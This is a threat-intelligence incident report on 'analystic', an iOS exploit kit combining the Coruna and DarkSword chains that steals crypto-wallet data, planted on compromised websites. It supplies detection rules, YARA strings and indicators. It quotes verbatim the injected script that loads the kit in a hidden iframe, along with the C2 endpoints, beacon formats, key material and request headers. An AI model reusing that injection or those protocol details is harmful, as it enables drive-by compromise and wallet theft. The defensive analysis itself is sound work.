TLP:CLEAR

INCIDENT REPORT

DarkCoruna "analystic": an iOS Exploit Kit Planted on Hacked Websites, and Its Native Payload Manager

iOS Exploit Chain • Drive-by • Compromised Websites • Crypto-Wallet Theft • DarkCoruna • Cybercrime

Parameter	Value
Analysis Date	**20 October 2026**
Classification	**Drive-by iOS exploit kit (Coruna + DarkSword) on compromised and lure websites; wallet, keychain and photo theft; native payload manager**
Threat Level	**HIGH**
Threat Actor	**The "qqtime" / P7 cluster of our 10 October 2026 report: Chinese-speaking, financially motivated (medium-high confidence)**
State Involvement	**None indicated**
Malware	**DarkSword chain with the P7 implant (build 20260914-aks40); Coruna loader; CorePayloadManager (native payload manager); native loader "x01"**
Targets	**iPhones on iOS 18.1.1 / 18.4 – 18.6.2 and iOS 13 – 17.2.1; visitors of crypto, dating and gambling lures and of nineteen hacked legitimate websites**
Affected Systems	**iOS 18.1.1 (22B91), 18.4 – 18.6.2 (22E240 – 22G100) on A12 – A18 devices; iOS 13 – 17.2.1 (Coruna)**
Patched In	**All exploited vulnerabilities fixed in iOS 18.7.2 – 18.7.3 and 26.1 – 26.3; no offsets for iOS 18.7 or 26**
CVEs	**CVE-2025-31277, CVE-2025-43529, CVE-2026-20700, CVE-2025-14174, CVE-2025-43510, CVE-2025-43520 (DarkSword, unchanged); public Coruna chain**
Sources	**Public MalwareBazaar samples (19 October 2026); public urlscan.io scans and stored bodies; static analysis only**

1. Executive Summary

On 10 October 2026 we described "P7", a criminal variant of the leaked DarkSword iOS exploit chain, and the "qqtime" cluster that distributes it from Chinese-language casino and crypto lures. On 19 October 2026 the same operation surfaced in public malware repositories in a new form: a complete kit, named "analystic" after the directory it occupies on hacked web servers, uploaded to MalwareBazaar by a pseudonymous contributor and, in part, by vxunderground. We analysed all 27 files statically, recovered the live delivery chain and its distribution from public urlscan.io data, and disassembled two of the three native Mach-O binaries in the set. No attacker host was contacted and no sample was submitted to any service.

The kit is one page, group.html, that measures the visitor's iOS version and loads one of two exploit chains: the public Coruna chain for iOS 13 – 17.2.1 and DarkSword for iOS 18.1.1 and 18.4 – 18.6.2. The DarkSword half ends in a P7 implant, build 20260914-aks40, that reports to a new command server, btrf36[.]cc. Two things are new. First, the operation no longer relies only on its own lure domains: the kit is planted on compromised legitimate websites — online shops and corporate sites in eleven countries, from Italy and France to Chile, the United Arab Emirates and Russia — where an injected script loads it in a hidden iframe for every visitor. Second, the set contains the first native components of this operation that we have seen in public: a payload manager that downloads encrypted modules from the command server, verifies them, and injects them into system daemons and into running wallet applications.

Key findings:

- Same operation, next build. The Coruna loader in the kit is token-identical to the loader served by cdn.gotoiphone[.]com in September (same obfuscator, same salt cecd08aa6ff548c2); the implant bundle shares 82% of its tokens and 83% of its lines with the P7 bundle of 29 September that we analysed on 10 October; the two sandbox-escape modules are 99% identical to those of the September 2026 DarkSword kit in the MalwareBazaar feed. The affiliate channel code is left empty and the command server is now substituted at packaging time ("pack_frontend replaces btrf36.cc"): the kit is built by a pipeline, not edited by hand.
- A tighter iOS 18 chain. For iOS 18.1.1 and 18.6 – 18.6.2 a 545 KB "direct" worker carries the JavaScriptCore exploit inside it; other 18.x versions get a separate 45 KB primitives worker and a 182 KB exploit. The offset tables cover seven builds, 22B91 and 22E240 – 22G100, on iPhone XS/XR to iPhone 16 and 16e models (A12 – A18). Nothing in the kit targets iOS 18.7 or iOS 26.
- A wallet-first implant. The P7 agent now looks for 45 bundle identifiers of some twenty wallet and exchange apps (among them MetaMask, Trust Wallet, Coinbase, OKX, Binance, Bitget, Bybit, Tonkeeper, imToken, SafePal, TokenPocket, Exodus, Phantom, Solflare, Uniswap and TronLink). A "wallet hit" gate decides whether the keychain and the photo library are uploaded at all; a new "KokCore" probe collects photo thumbnails of 1 – 512 KB.
- A native payload manager. Two dylibs that identify themselves as /usr/lib/system/libsystem_featureflags.dylib — "CorePayloadManager", arm64 and arm64e, built with Xcode 26 and signed ad hoc — fetch an encrypted configuration from the command server, download modules, inject a "core" module into a system daemon and per-app modules into wallet apps as they start, delete the crash logs they cause, and take commands from marker files. The command server is hard-coded into the binary. The uploader's label "iOS < 18" for these files is at best partial: the arm64e build belongs to the iOS 18 chain on A12 and newer devices.
- Two distribution layers. The first is the operator's own: farms of disposable lure subdomains, Chinese SEO look-alikes of 7-Zip and HaoZip download sites, crypto, dating, gambling and "wallet security" lures — more than 200 public scans of the Coruna loader, and 69 domains serving the iOS 18 loader since mid-September. The second is new: nineteen hacked legitimate websites, where the kit sits in a planted directory (analystic/assets/js/ under /js/, /img/, /wp-includes/js/ or a CMS module path) and is loaded by a 300-byte inline script added to the page template.
- Still financially motivated crime. Lures, targets, Chinese-language comments and Hong Kong cloud hosting all point the same way as in October. Nothing indicates state tasking. The owners of the compromised websites were notified through their hosting providers' abuse desks on 20 October 2026; the sites are not named here.

2. Background

2.1. Where this report starts

DarkSword is a complete JavaScript exploit chain for iOS 18 that Google Threat Intelligence Group documented in March 2026 in the hands of three espionage-style customers; one build leaked on GitHub on 22 March 2026 and the chain went criminal. Coruna is an older chain for iOS 13 – 17.2.1 that leaked earlier and is also public. iVerify's term "DarkCoruna" describes deployments that serve both from one page to cover every iPhone from iOS 13 to 18.7; on the DarkSword side this kit covers 18.1.1 and 18.4 – 18.6.2. Our 10 October 2026 report, "DarkSword P7: a Leaked iOS Exploit Chain Repurposed for Crypto-Wallet Theft", analysed the P7 implant — a rewritten command agent plus a keychain-decryption stage that uses the device's AppleKeyStore as an oracle — and traced its delivery cluster, "qqtime", back to July 2026. That report, its indicators and its YARA rules remain valid; this one adds what changed in the following ten days.

2.2. The 19 October uploads

At 17:26 UTC on 19 October 2026 vxunderground published four files captured from the directory /js/analystic/assets/js/ of one of the compromised websites: the dispatcher page group.html, the Coruna loader 49554fde7424c31c.js, the DarkSword loader b8def7dab9dd9ad8.js and a beacon script a8c3f01e6b47d295.js. Between 20:30 and 21:10 UTC a pseudonymous MalwareBazaar contributor (reporter handle "Darkfibr", tag 0xf00dbeef) uploaded 27 files under the tags analystic, Coruna, DarkSword, GHOSTBLADE (the name of the implant library of the leaked kit; see our 10 October report) and P7: the same four files re-saved with different line endings, the iOS 18 chain (two workers, the exploit, two sandbox escapes and the privilege-escalation and implant bundle — six files), fourteen obfuscated Coruna stages and three Mach-O binaries. The command server btrf36[.]cc was scanned through urlscan.io at 21:06 UTC, within the same hour as the uploads; that scan is how its IP address became public. Neither "Darkfibr" nor the tag had appeared anywhere before; we treat the uploads as what they are — a snapshot pulled from a live kit — and verified every file against its published hash.

At the time of writing the JavaScript stages carry four detections of 36 on VirusTotal (generic "Script-JS.Exploit.Heuristic") and the Mach-O files none. The operator had not reacted to the publication by 20 October, when the compromised sites still served the kit and their owners were notified.

3. Scope and Method

All material was obtained passively:

- MalwareBazaar: the 27 uploaded files and the vxunderground archive, downloaded through the public API and verified by SHA-256 after extraction. Analysis was static only — strings, regular expressions, YARA, Mach-O header parsing and radare2 disassembly — in an isolated laboratory system. No file was executed and nothing was uploaded to a third-party service.
- urlscan.io: public searches by file name, body hash and page URL; for each hosting domain, one stored scan record; stored response bodies retrieved by hash to recover page templates and to compare on-the-wire files with the published samples. The scan records' initiator chains (which script created which request) were used to locate the injection point on compromised sites.
- VirusTotal: look-ups by hash only, for detection counts.
- Public reporting by iVerify, Google Threat Intelligence Group and Censys, and the leaked Coruna source, for lineage comparisons.

We did not connect to any attacker host, did not scan any site, and did not retrieve anything from the compromised sites themselves. Where this report quotes an injected script, it is quoted from urlscan's stored copy of the page.

4. Finding 1: The Kit

4.1. The dispatcher

group.html (1,551 bytes, SHA-256 b4290d69…) is loaded in a hidden iframe. It always includes the beacon a8c3f01e6b47d295.js, reads the iOS major version from the user agent, and loads 49554fde7424c31c.js (Coruna) when the version is below 18 and b8def7dab9dd9ad8.js (DarkSword) otherwise. Two locks prevent repeated attempts: sessionStorage._x_nav for eight seconds while a chain is running, and localStorage._x_done, set once an exploit succeeded or the page redirected; ?force=1 in the URL clears them. The same locks, under the same names, were in the mzpo30[.]cam build described by iVerify.

The beacon (781 bytes) runs only on iPhone and iPad user agents and posts {"k":1,"n":"<host name of the page>"} to hxxps://btrf36[.]cc/hx by sendBeacon or XMLHttpRequest. Its strings are XOR-encoded. It is a census of carriers (a carrier being any site that serves the kit, lure or compromised): the operator learns, by host name, which of its sites are being visited before any exploit runs.

4.2. The iOS 18 branch

File	SHA-256 (prefix)	Size	Role
b8def7dab9dd9ad8.js	2e443833…	8,209 B	Loader: version gate, worker start-up, success lock (Chinese comment: "success lock: written when sbx0 is obtained or on redirect"), redirect to /404.html
e1105852cab6ef49.js	5856c2c5…	545,191 B	"Direct" worker for iOS 18.6, 18.6.1, 18.6.2 and 18.1.1: JavaScriptCore exploit built in, memory primitives, PAC (pointer authentication) bypass, dlopen interposition; fetches sbx0
455b474ef0843d25.js	37efaa42…	85 B	Stub fetched in place of an exploit file by the direct branch (not in the upload; captured from a live carrier in October)
8150b44e89f06890.js	df86db89…	45,333 B	Primitives worker for the other iOS 18.x builds (80% token overlap with rce_worker_18.4.js of the September

			MalwareBazaar-feed kit)
a13e3e4525e28ff8.js	3196034e…	182,339 B	JavaScriptCore exploit (array out-of-bounds through Array.prototype setters) with offset tables per build and device
717d3ef037488de5.js	9c7f86f2…	425,869 B	sbx0: WebContent to GPU-process escape (AGX, IOSurface, RemoteRenderingBackend), eight logged stages
e698499e769d1643.js	6db7114e…	324,817 B	sbx1: mediaplaybackd privilege escalation (XPC / mach_msg), A12 and non-A12 paths; fetches the PE bundle
e0e65d55905b9342.js	da3fe94a…	911,288 B	PE (privilege-escalation) bundle: kernel exploit, MIG (Mach interface) filter bypass, P7 implant (Section 5)

Stages are fetched as <name>.js?<timestamp> relative to the directory of the loader, so every carrier hosts the whole chain itself. An alternative encrypted mode exists in the workers: with a session token the stages are requested as host/res/<session>/<hash> and decrypted in the worker ("L1 decrypt"). The device model is derived from the address of pthread_create in the shared cache (a lookup table maps the LINKEDIT address to the model); the chipset identifiers are MD5-like constants shared with earlier builds of the cluster.

Supported targets are explicit: iOS 18.1.1 (22B91), 18.4 (22E240), 18.4.1 (22E252), 18.5 (22F76), 18.6 (22G86), 18.6.1 (22G90) and 18.6.2 (22G100) on iPhone11,2 to iPhone17,5. The P7 kit of 29 September still shipped a worker for iOS 18.6 – 18.7; this kit stops at 18.6.2. There are no offsets for 18.0 – 18.3, 18.7 or 26: a device on one of those versions passes through this page unharmed, which says nothing about its exposure to other kits.

4.3. The Coruna branch

49554fde7424c31c.js (47,603 bytes; 47,604 with the UTF-8 byte-order mark the compromised site served it with) is the Coruna loader we described in October: obfuscator obChTK, a module table keyed by hash, modules fetched under names derived as SHA-256(salt + name) with the salt cecd08aa6ff548c2, version

thresholds at iOS 13.0 and 16.0. Searching urlscan for the on-the-wire body hash gives 88 scans since 23 July 2026, and three further variants of the same file name (50 – 55 KB) are served by the central hosts of the lure farms. The fourteen "remote stage" files in the upload, named by SHA-1, are the obfuscated exploit stages of that chain (strings decoded at run time from XOR-ed byte arrays). One of them had been served by qqtime lure sites in July and August 2026; another appears in 75 public scans across the look-alike farms. Their lineage is the leaked Coruna source (exploit stages for iOS 15.2 – 17.2.1); the loader’s own thresholds are 13.0 and 16.0, and what a device on iOS 13.0 – 15.1 receives we did not verify. We did not analyse the exploits themselves further.

5. Finding 2: The Implant, Build 20260914-aks40

The PE bundle is a webpack build. Compared with the P7 bundle of 29 September that we analysed in October (SHA-256 57c39976…), 82% of tokens and 83% of lines are shared and 331 string literals are common: the same code base, next version. Google's hunting rule G_Hunting_DarkSwordExploitChain_ImplantLib_FilePaths_1 and our P7_DarkSword_C2Agent_Strings rule both match it. Three constants in the agent header describe the build:

- PE_BUILD = "20260914-aks40" — the bundle was built on 14 September 2026. The kit with this file set was already being served by mining-game[.]online on 13 September (loader and workers in a public scan of that day), and a bundle of exactly the same size (911,288 bytes) but a different hash was captured there on 16 September — consistent with per-carrier packaging that stamps a different host into an otherwise identical build.
- PE_HQ_BASE = "https://btrf36.cc", with the comment "pack_frontend replaces btrf36.cc -> data_host". The command server is written into the bundle by a packaging tool at build time. The header still describes the back end as "command.py" and "server.py" — a Python application, as in October.
- C2_CHANNEL_CODE = "" — the affiliate channel code that the September build sent with every request is empty. Either this build is the operator's own deployment or the channel is now identified on the server side by the carrier host name reported by the beacon.

5.1. Command protocol

The transport is unchanged from P7: HTTP/1.0 over CFStream with certificate validation disabled, a hard-coded "iPhone OS 18_5" user agent, the multipart boundary ------HqBound, and the endpoints /beacon (tasking), /result, /heartbeat and /x (device registration). The exfiltration pipeline has been reordered around wallets: /a (acknowledge), /u (upload gate), /p (wallet package first), then /qq (keychain and wallet, then photos), with X-Ts and X-Inner-Content-Type headers. A gate called wallet_hit takes the values −1, 0 and 1; the keychain dump and the photo probe are uploaded only when wallet_hit is 1 — the code comments say "bandwidth: wallet_hit=1 only". A device without a target wallet costs the operator no upload bandwidth.

5.2. Targets and collection

The agent enumerates application containers and matches 45 bundle identifiers of some twenty apps (BitKeep is the former name of Bitget Wallet): io.metamask.metamask, com.sixdays.trust, com.coinbase.coinbasewallet and org.toshi.distribution, com.okx.wallet and com.okex.okexappstorefull, three Binance identifiers, three Bitget identifiers, com.bybit.app, two Tonkeeper identifiers, com.tonhub.app, org.mytonwallet.app, im.token.app, SafePal (with a separate "safepal_bio" path), com.tokenpocket.1, two Bitpie identifiers, com.bitkeep.os, com.exodusmovement.exodus, Phantom, com.solflare.mobile, com.uniswap.mobile, two TronLink identifiers, com.kyrd.krystal.ios and two Sky Mavis identifiers. For each hit it collects the container's documents, React Native AsyncStorage databases and, for imToken, the keystore and its keychain password (the _findImtokenKeychainPassword routine of P7). The keychain pipeline — copy keychain-2.db and the keybags to /tmp, decrypt through securityd and the AppleKeyStore, write /tmp/keychain_c2_dump.json and a .done marker — is the P7 "Phase 2" of October.

New in this build is a photo probe labelled KokCore (functions photo_probe and kok_collect_full_directory_scan): it walks /private/var/mobile/Media/PhotoData/Thumbnails and the CPLAssets directories and collects image files between 1 KB and 512 KB — thumbnails, which are small enough to upload in bulk and large enough to read a seed phrase written on paper and photographed. An update handler is present but "disabled until persistence is ready": the implant still lives only until reboot.

The kernel-exploit library selects offsets by XNU major and minor version and carries an explicit "ugly hack to support 17.7, 17.7.1 and 17.7.2" for builds 21H16, 21H216 and 21H221 — support inherited from the

leaked code; we saw no path in this kit that reaches this library on iOS 17. The bundle writes its progress to /tmp/pe_worker_trace.log, /tmp/p7_debug.log and /tmp/c2_wallet_debug.log and marks wallet hits in /tmp/pe_wallet_hit_bundles.json; its logger also writes /private/var/mobile/Media/PostLogs.txt.

6. Finding 3: Native Components

Every public sample of this operation we had seen before was JavaScript. The 19 October set contains three Mach-O binaries. All three are stripped; none is on VirusTotal under a family name.

6.1. CorePayloadManager

Two dynamic libraries, child_667fa543.dylib (arm64, 420,896 bytes, SHA-256 b0a7077b…) and child_a159973e.dylib (arm64e, 668,480 bytes, SHA-256 a436ac96…), share the install name /usr/lib/system/libsystem_featureflags.dylib — the name of a real Apple library, chosen so that the module looks legitimate in a process's image list. The code-signing identifier is CorePayloadManager-55554944 followed by the library's UUID; the signature is ad hoc. Both were built with the iOS 26.0 SDK and linker 1221.4.0 (Xcode 26), that is, with the release toolchain of September 2025 or later, and with a minimum OS of iOS 15. The arm64e build retains source paths of the form /Users/<user>/Project/iOSC2/native-src/CorePayloadManager/vendor/plzma/…: the developer calls the project "iOSC2". Both export two functions, _startx and _startp, and embed the libplzma library (7z, xz, LZMA, AES-256-CBC). The sensitive strings — host, path, key, headers, injection targets, lock and control files — are XOR-encoded with 0x5A; we decoded them from the exact offset and length pairs used by the code. Configuration keys, cache and store paths and the injection diagnostics are left in plain text. We did not request config.bin or any module from the server: the values below are given for detection and for decrypting captured traffic, not for interacting with attacker infrastructure.

In short, this is a second-stage loader: everything it runs arrives from the command server as encrypted modules, it can place native code inside a wallet application's own process at the moment the user opens it, and it has no boot persistence — like the implant, it lives until reboot.

_startx is the main loop. It takes a context structure of callbacks supplied by its host — read, write, symbol lookup, injection primitives — which means the library is not self-sufficient: it is loaded and equipped by the implant that already holds kernel privileges after the iOS 18 chain. The arm64e build fits the iOS 18 chain on A12 and newer devices; the arm64 build cannot be loaded into the arm64e system daemons of those devices and most likely serves older devices through the Coruna branch, whose native loader (Section 6.2) also obtains native execution. The uploader's label "iOS < 18" is therefore at best partial. The sequence is:

- Take an exclusive lock on /tmp/com.apple.analyticsd.lock (flock, non-blocking); if another instance holds it, sleep forever.
- Delete crash logs named locationd, powerd and wifid from /var/mobile/Library/Logs/CrashReporter/, /var/logs/CrashReporter/ and /var/root/Library/Logs/CrashReporter/ — the daemons it is about to inject into, and the evidence a failed injection would leave.
- Fetch hxxps://btrf36[.]cc:443/api/v1/cpm/config.bin through CFNetwork with certificate validation disabled and the system proxy honoured, using the fixed user agent "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)" and the headers "X-Client-Id: 7f3a9c2b8e1d4f6a0b5c7e9d2f4a6b8c" and "Connection: close". The host name btrf36.cc is a 64-byte XOR-encoded constant in both builds; the port is 443.
- Decrypt the response with the hard-coded key material abf3bdc8e239c0f3183c257f9ccc23e8 (hex-decoded to 16 bytes and expanded by the library into the key of a Salsa20/ChaCha20-family stream cipher — the "expand 32-byte k" constant; we did not reverse the expansion in full) and cache it under /tmp/com.apple.nsurlsessiond/fsCachedData<16 hex digits of SHA-256("netconfig_cache_seed_v7")>; when the server is unreachable the cached configuration is used. The configuration is JSON: settings (configRefreshInterval 600, heartbeatReportInterval 600, minPingIntervalPerDomain 30, validationCacheTTL 300), core {url, sha256} and entries [{bundleId, sha256, size, doNotCloseAfterRun, requiresColdStart}].

- Download each module (up to seven attempts, back-off 2 – 300 s), verify its SHA-256 against the configuration, and store it as /tmp/cpm27stor/<SHA-256 of the module name>.bin in a directory created with mode 0700.
- Inject the "__core__" module into the process named in the configuration — locationd by default, powerd in the initialisation path — by resolving its exported _entry_main and calling it under a sigsetjmp guard for SIGSEGV and SIGBUS; the diagnostic strings are inject-fn-raw, inject-jit-switch-sig and inject-CRASHED-at. A receiver thread renamed com.apple.cfnetwork.dispatch counts "UNHEALTHY" Mach messages from the module and reloads it from the store after a threshold.
- For each entry, a thread looks the target application up by name through sysctl KERN_PROC_ALL, waits up to twenty seconds for it to start (requiresColdStart: the wallet app is injected at launch), removes the lock file and injects the module. Failures are retried with the same back-off.

_startp is a ten-second supervisor loop. Every cycle it opens a TCP connection to 127.0.0.1:8888, writes four bytes (01 00 04 00) and closes it — probably a keep-alive to a listener in the host implant; then it stat()s four marker files: /tmp/.launchd_db_stop, /tmp/.launchd_db_reload and /tmp/.launchd_db_purge are commands (deleted after handling), and /tmp/.com.apple.nsurlsessiond.cache is a hot-reload drop: if present, the file is read, a _startu export is resolved in it and called through the host callbacks, and the file is unlinked. Every few cycles the crash-log sweep runs again.

What the library does not contain is persistence. There is no LaunchDaemon plist and no boot-time hook; the path /System/Library/CoreServices/powerd.bundle/powerdlocationd that appears among the XOR-encoded strings is a name for a planted file (no such Apple binary exists), not an autostart entry. Like the implant, the payload manager lives until reboot — but with it the operator can push native code into a wallet application’s own process at the moment the user opens it, which is a different capability from copying its files.

6.2. The native loader of the Coruna branch

99d0_decompressed_start256.bin (90,112 bytes, SHA-256 6d522977…) is an arm64 dylib with the install name "x01", built against the iOS 13.0 SDK with a 2022 linker, exporting one function, _process. Its strings describe a reflective loader: check for /usr/libexec/corelliumd (the agent of the Corellium virtualisation platform), read the product version and the kernel version string, download a payload over HTTP with the user agent "MobileStore/1.0", decrypt it (the "expand 32-byte k" constant again), decompress it with libcompression, map it with mmap and vm_protect, flush the instruction cache and call into it; errors are reported to the server as {"e":<code>,"l":<line>} and as logmsg commands. The server address is not in the binary — it is passed in by the JavaScript stage that embeds this library (the file name indicates it was carved from such a stage at offset 256). This is the native end of the Coruna chain for iOS 13 – 17.

7. Finding 4: Distribution

7.1. Lure infrastructure

Searching urlscan for the Coruna loader's file name returns more than 200 public scans (the search limit) on at least 82 domains — compromised sites included, since their dispatcher loads this file too. The picture is industrial:

- Farms of disposable subdomains behind Cloudflare — bgp09[.]icu, bgp34[.]sbs, bgp36[.]sbs, bgp51[.]sbs, bgp63[.]sbs — serving an "Account Security Compliance Check" page in English, German and Spanish and loading the kit from tudou001.usdtio[.]cc (September to 20 October 2026).
- Some fifty subdomains of buytrx-ins[.]com ("InsPay"), many with throw-away names, hosting the kit themselves under /css/good/.
- 29 Chinese search-engine look-alikes of the 7-Zip, HaoZip and "Danzipaidui" download sites on .com.cn and .hl.cn (for example 7zip-download[.]com[.]cn, haozip-hub[.]com[.]cn, danzipaiduiguanfu[.]com[.]cn), registered in two batches in September and October, loading the kit from gewc61[.]cc.
- Central kit hosts: i0s[.]io (/web/), tudou001 and fh001.usdtio[.]cc, 092ak[.]top (/mgu/, for a set of "VELNORA" lure domains), random subdomains of pifilubihu[.]shop, chainvex[.]cam (embedded by Google Sites pages posing as "ethereum market analysis"), afazxcr[.]xyz, yc.d-j[.]cc and ja.a-j[.]cc, xinyea[.]cc, chunfe[.]cc, t.yookme[.]cc, bb.ttyyk[.]shop, a bare IP 38.190.222[.]108 (/gooll/), www.7-11[.]help — and ios.hdios[.]cn, a host in the hdios[.]cn infrastructure that Censys described in July and October 2026, which served this loader to a Coinbase-wallet lure on 22 September.

The iOS 18 loader is younger: 88 scans on 69 domains, the first on 13 September 2026 on mining-game[.]online; lure carriers follow from 28 September. Its carriers are themed lures — "Wallet Security Manual", "coingateAI", "TRX Rewards", a KuCoin look-alike, Rollbit and RootData look-alikes, dating and "airdrop research" pages, a prediction market, renewed-phone and VPN shops — on Alibaba, CloudValley, Zenixcloud, CDN77 and IONOS, most of them created in the two weeks before they were scanned.

7.2. Compromised websites

Nineteen legitimate websites serve the same kit from a directory the attacker created on their server: /js/analystic/assets/js/ in most cases, /wp-includes/js/analystic/assets/js/ on a WordPress site, /img/analystic/assets/js/ on a shop behind Cloudflare, and /modules/welcome/js/front/assets/js/ on a PrestaShop site, where the injection is served from a planted assets.php. They are small online shops and company websites in eleven countries in Europe, the Americas, the Middle East and North Africa, hosted with a range of mainstream European and US providers and cloud platforms. The earliest public scan showing the kit on one of them is 5 October 2026; most were first scanned between 12 and 19 October.

The injection is the same everywhere. A script of about 300 bytes is added to the page template — in the HTML near the end of the body, sometimes minified — and, 1.5 seconds after the page has loaded, creates an invisible iframe pointing at the planted directory:

```
(function(){function l(){var f=document.createElement('iframe');f.src='/js/analystic/assets/js/group.html';f.style.cssText='width:0;height:0;border:none;position:absolute;top:-9999px;opacity:0;pointer-events:none';document.body.appendChild(f);}if(document.readyState==='complete'){setTimeout(l,1500);}else{window.addEventListener('load',function(){setTimeout(l,1500);});}})();
```

Because the iframe is created after the page has finished loading, it is absent from a DOM snapshot taken at load time; the injection is visible only in the request log (the group.html document request is initiated by an inline script of the page) or in the raw HTML. The kit is therefore served from the victim's own origin, with the victim's own certificate, to every visitor — the beacon then tells the operator which site delivered

which device. This is the first time we see the qqtime cluster on hacked third-party sites; its earlier deployments used the operator’s own domains or a hosted router page.

The owners were notified on 20 October 2026 through the abuse desks of their hosting providers (or their registrars where the hosting provider could not be determined behind a CDN), one notice per site with the public scan record, the injection point and the planted directory. The sites are not named in this report and are not included in the indicator lists.

7.3. Where the later stages were captured

The exploit stages beyond the loader are gated on an iOS 18 user agent and are rarely captured by public scanners. urlscan holds them from two hosts: mining-game[.]online (Hostinger; 19 scans between 13 and 16 September 2026, including a byte-identical sbx1 and a same-size PE bundle) and www.tavonexia[.]com (a "private islands" lure behind Cloudflare; 20 October 2026, the direct worker and a beacon variant). The JavaScriptCore exploit of this kit has also been served under a different file name from mobile.mumuheliio[.]com. These three hosts, the command server and the central kit hosts are the blockable core of the operation; the lure domains rotate.

8. Attribution Assessment

We assess with medium-high confidence that the "analystic" kit is operated by the qqtime cluster that runs P7: the Coruna loader is the same build with the same salt; the implant is the next version of the same bundle; the sandbox escapes are 99% identical to the modules of the September MalwareBazaar-feed kit that the P7 build also used; the lure themes, the Chinese comments in the code, the Alibaba Cloud Hong Kong address of the command server and the largely Hong Kong and Chinese hosting of the farms are unchanged. What has changed is maturity: a packaging tool that stamps the command server into the bundle, a configuration-driven native payload manager with its own protocol, and a distribution channel that no longer depends on the operator’s own domains.

The intent is unchanged. Everything the implant collects is sold or spent: wallet keystores, the keychain items that unlock them, and photographs small enough to be seed-phrase backups. We find no indication of state involvement. The exploit chains themselves were state-grade before they leaked; the people running this kit are using public exploits with a private implant.

Two points on the sources. The MalwareBazaar contributor is pseudonymous and gave no provenance for the 23 files that were not in vxunderground’s capture; the file names and the urlscan scan of the command server in the same hour indicate that they were captured from a live deployment of the kit. We used them as samples, not as evidence of anything beyond their content. And the project name "iOSC2" and the user name in the build path are build artefacts: they identify the developer’s machine, not a person, and we do not treat them as attribution.

9. Detection

9.1. On the web and in the network

- Hidden iframes to */analystic/assets/js/group.html, and more generally to a group.html under an unexpected static directory; script files named with sixteen hexadecimal characters loaded from that directory; the inline script above (search page templates for createElement('iframe') together with group.html).
- POST hxxps://btrf36[.]cc/hx with the body {"k":1,"n":"<hostname>"} from iOS devices — the carrier beacon fires before any exploit on every iOS device, patched or not — it marks a visit, not a compromise — so it is the broadest network indicator.
- Implant traffic as in October: HTTP/1.0 POSTs to /beacon, /x, /a, /u, /p, /qq, /result and /heartbeat on a recently registered .cc domain, multipart boundary ------HqBound, user agent "iPhone OS 18_5", headers X-Ts and X-Inner-Content-Type.
- Payload-manager traffic: GET /api/v1/cpm/config.bin with the header X-Client-Id: 7f3a9c2b8e1d4f6a0b5c7e9d2f4a6b8c, user agent "iPhone OS 15_0" and "Connection: close", to a host on port 443 without certificate validation; subsequent downloads of .bin modules from the same host.
- Native loader of the Coruna branch: HTTP requests with the user agent "MobileStore/1.0" and JSON bodies {"e":…,"l":…}.

9.2. On the device

On iOS, /tmp is /private/var/tmp; paths are given as the code writes them.

Artefact	Written by	Meaning
/tmp/cpm27stor/<64 hex>.bin	CorePayloadManager	Downloaded modules, named by SHA-256 of the module name
/tmp/com.apple.analyticsd.lock	CorePayloadManager	Single-instance lock; no Apple component uses this path
/tmp/.launchd_db_stop, _reload, _purge; /tmp/.com.apple.nsurlsessiond.cache	Operator / CorePayloadManager	Command marker files and hot-reload drop (deleted after use)
/tmp/com.apple.nsurlsessiond/fsCachedData<16 hex>	CorePayloadManager	Cached encrypted configuration
/tmp/pe_worker_trace.log, /tmp/p7_debug.log, /tmp/c2_wallet_debug.log, /tmp/pe_wallet_hit_bundles.json, /tmp/keychain_c2_dump.json (.tmp, .done, .wallet)	PE bundle / implant	Progress logs, wallet-hit marker, decrypted keychain
/private/var/mobile/Media/PostLogs.txt	PE bundle	Logger output
Image named /usr/lib/system/libsystem_featureflags.dylib loaded into locationd or powerd with an ad-hoc signature; thread named	CorePayloadManager	The real library is loaded by every process from the shared cache; a separately mapped copy with that name is the payload manager

com.apple.cfnetwork.dispatch in locationd		
Missing or freshly deleted CrashReporter logs for locationd, powerd, wifid	CorePayloadManager	Anti-forensic sweep
Browser: localStorage _x_done, _x_ok; sessionStorage _x_nav	group.html / loader	Locks left on a device that visited a carrier

9.3. YARA

Our October rule P7_DarkSword_C2Agent_Strings matches the new PE bundle without changes. For the new components the following string sets are reliable; the payload manager's sensitive strings are XOR-encoded, so the rule relies on what the author left in plain text: the signing identifier, configuration keys, store and cache paths and the injection diagnostics.

- DarkCoruna_Analystic_PE (PE bundle): "20260914-aks40", "pack_frontend", "KokCore", "photo_probe", "wallet_hit", "pe_wallet_hit_bundles", "PE_HQ_BASE", "------HqBound", "keychain_c2_dump" — any four.
- DarkCoruna_CorePayloadManager (Mach-O): "CorePayloadManager-55554944", "cpm27stor", "netconfig_cache_seed_v7", "fsCachedData", "inject-fn-raw", "inject-jit-switch-sig", "inject-CRASHED-at", "configRefreshInterval", "minPingIntervalPerDomain", "validationCacheTTL", "requiresColdStart", "doNotCloseAfterRun" — Mach-O file and any four.
- DarkCoruna_NativeLoader_x01 (Mach-O): "MobileStore/1.0", "/usr/libexec/corelliumd", "expand 32-byte k", the format string {"e":%u,"l":%u}, "logmsg" — Mach-O file and any three.
- DarkCoruna_Analystic_Web (HTML/JS): "analystic/assets/js", "_x_done", "_x_nav", "_x_ok", "rce_ok" (the worker's success message), "49554fde7424c31c", "b8def7dab9dd9ad8", "a8c3f01e6b47d295", "cecd08aa6ff548c2" — any two.

10. Indicators of Compromise

Indicators are original to this report unless marked otherwise. Compromised websites are not listed. Lure domains are, to our assessment, operator-controlled (registered between December 2025 and October 2026, most of them days or weeks before their first scan; kit at the site root; no prior history) — we checked registration dates passively and left out the few older domains we could not classify; verify before blocking. The full set of lure hosts observed is in the machine-readable dumps accompanying this report.

10.1. Command server and kit hosts

Indicator	Role	Notes
btrf36[.]cc	C2 of the implant, the beacon and the payload manager	Registered 2026-09-25 through Gname.com, Cloudflare-free, dedicated Alibaba Cloud HK address; hard-coded in the PE bundle (build 2026-09-14) and in both CorePayloadManager binaries; endpoints /hx, /beacon, /result, /heartbeat, /x, /a, /u, /p, /qq, /api/v1/cpm/config.bin
47.76.30[.]227	IP of btrf36[.]cc (C2)	Alibaba Cloud Hong Kong; no other host names observed on it
i0s[.]io	Central kit host (/web/)	Serves the Coruna loader to lures, October 2026
tudou001.usdtio[.]cc, fh001.usdtio[.]cc	Central kit hosts	Loader for the bgp*.icu / *.sbs farms and other lures
gewc61[.]cc	Kit host (/assets/js/)	For the 7-Zip / HaoZip look-alike farm on .com.cn
092ak[.]top	Kit host (/mgu/)	"VELNORA" lures 744513[.]com, 481561[.]com, 945321[.]com
